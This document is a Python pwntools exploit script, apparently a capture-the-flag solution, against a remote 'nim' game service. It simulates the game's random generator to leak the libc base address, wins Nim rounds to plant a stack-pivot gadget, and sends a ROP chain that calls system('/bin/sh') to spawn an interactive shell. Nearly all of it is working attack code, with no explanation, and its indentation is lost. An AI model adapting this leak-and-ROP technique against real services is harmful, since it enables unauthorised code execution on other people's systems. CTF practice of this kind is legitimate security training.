1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
|
from pwn import *
leak = lambda name,addr: log.success('{0} ---> {1}'.format(name, hex(addr)))
binary = './nim'
libc = './libc.so'
context.terminal = ['tmux', 'splitw', '-h']
context(binary = binary, log_level='info')
# p = process(binary)
p = remote('nim.hackable.software',1337)
elf = ELF(binary, checksec=False)
libc = ELF(libc, checksec=False)
const_num1 = 0x7CC216571FEE6FB
const_num2 = 0xFFFFFFFFFFFFFA3
class RandSim:
seed = 0
def __init__(self):
self.seed = 0
def set_seed(self, seed):
self.seed = seed
def get_next(self):
val = self.seed & 0x7fffffff
self.seed = self.rand_sim(self.seed)
return val
def rand_sim(self,s):
val = 0
min = 0x7CC216571FEE6FB
while s != 0:
if(s &1) !=0:
val = (min+val) % 0xFFFFFFFFFFFFFA3
s = s >> 1
min = 2 * min % 0xFFFFFFFFFFFFFA3
return val
Randgen = RandSim()
def get_dealer():
p.recvuntil("Dealer has taken ")
num = int(p.recvuntil(" stone(s)",drop=True),10)
p.recvuntil("from heap ")
idx = int(p.recvuntil(".\n",drop=True),10)
return num, idx
def nim(heaps):
sum = 0
for i in heaps:
sum = sum^i
if sum:
for i in range(len(heaps)):
val = sum^heaps[i]
if val < heaps[i]:
return i, heaps[i]-val
else:
for i in range(len(heaps)):
if heaps[i] !=0 :
return i, heaps[i]
def win(bet):
heaps = []
for i in range(4):
heaps.append(Randgen.get_next())
heaps.append(heaps[0])
heaps.append(heaps[1])
heaps.append(heaps[2])
heaps.append(heaps[3])
p.sendlineafter("game? ", str(bet))
p.sendlineafter("s?", '8')
for i in range(4):
p.sendlineafter(": ",str(heaps[i]))
while 1:
last = 0
p.recvuntil("The current set of heaps is: [")
heap_list = map(int, p.recvuntil("]",drop=True).split(", "))
idx, val = nim(heap_list)
p.sendlineafter("resign): ",str(idx+1))
p.sendlineafter("heap: ",str(val))
if heap_list.count(0) == len(heap_list)-1:
last = 1
if last:
p.recvuntil("Current score: ")
cur = int(p.recvuntil(". C",drop=True),10)
return cur
def win_game(cur,target):
while 1:
off = target - cur
if(off>=cur):
cur = win(cur)
else:
cur = win(off)
leak("current scores ", cur)
if(cur == target): break
p.sendlineafter("[y/n]? ",'y')
def main():
global p
p.sendlineafter("Choice: ", 'P')
p.sendlineafter("name? ","Niebelungen")
# libc
p.sendlineafter("game? ", '1')
p.sendlineafter("?", '8')
for i in range(4):
p.sendlineafter(": ",'1')
num, idx = get_dealer()
p.recvuntil("The current set of heaps is: [")
heap_list = map(int, p.recvuntil("]",drop=True).split(", "))
heap_list[idx-1] += num
rand_addr = 0
for i in range(2**10):
guess = (0x7e << 40) | (i << 31) | heap_list[0]
num = Randgen.rand_sim(guess)
if (num & 0x7FFFFFFF) == heap_list[1]:
rand_addr = guess
break
libc_base = rand_addr - libc.sym["rand"]
Randgen.set_seed(rand_addr)
for i in range(4):
Randgen.get_next()
leak("libc base", libc_base)
p.sendlineafter("resign): ",'0')
p.sendlineafter("[y/n]? ",'n')
# strchrnul@libc.got 0x1eb040
# strlen@libc.got 0x1eb0a8
# memcpy@libc.got 0x1eb148
# name - stack 0x2a8
# + 0x20 0x2c8
# + 0x20 0x2e8
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()
pop_rdi = libc_base + 0x0000000000026b72
libc_got = libc_base + 0x1eb0a8
rsp_2d8 = libc_base + 0x0000000000089d27
rsp_c8 = libc_base + 0x00000000000e7b3a
p.sendlineafter("Choice: ", 'P')
p.sendlineafter("name? ", p64(rsp_c8)*3+p64(rsp_c8)[:6])
'''
for this game, dealer is the fisrt to take
we must make checksum == 0
'''
target = (rsp_2d8+1)&0xffffffff
leak("target",target)
if(target>>31 & 1):
log.info("Sorry, target <0!")
return
win_game(9999+1, target)
# lost 1 bet and rop
p.sendlineafter("[y/n]? ",'y')
p.sendlineafter("game? ", '1')
p.sendlineafter("?", '60')
rop = [
1,2,3,4,5,6,7,8,9,10,11,12,
libc_got&0xffffffff,
(libc_got>>32)&0xffffffff,
15,16,17,18,
pop_rdi&0xffffffff,
(pop_rdi>>32)&0xffffffff,
binsh&0xffffffff,
(binsh>>32)&0xffffffff,
system&0xffffffff,
(system>>32)&0xffffffff,
25,26,27,28,29,30
]
for i in rop:
p.sendlineafter(": ", str(i))
p.sendlineafter("resign): ",'0')
p.sendlineafter("[y/n]? ",'n')
p.interactive()
if __name__ == "__main__":
main()
|